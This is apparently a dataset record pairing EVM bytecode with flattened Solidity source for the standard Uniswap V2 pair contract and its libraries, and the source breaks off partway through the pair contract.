050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429 | 608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032 | // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
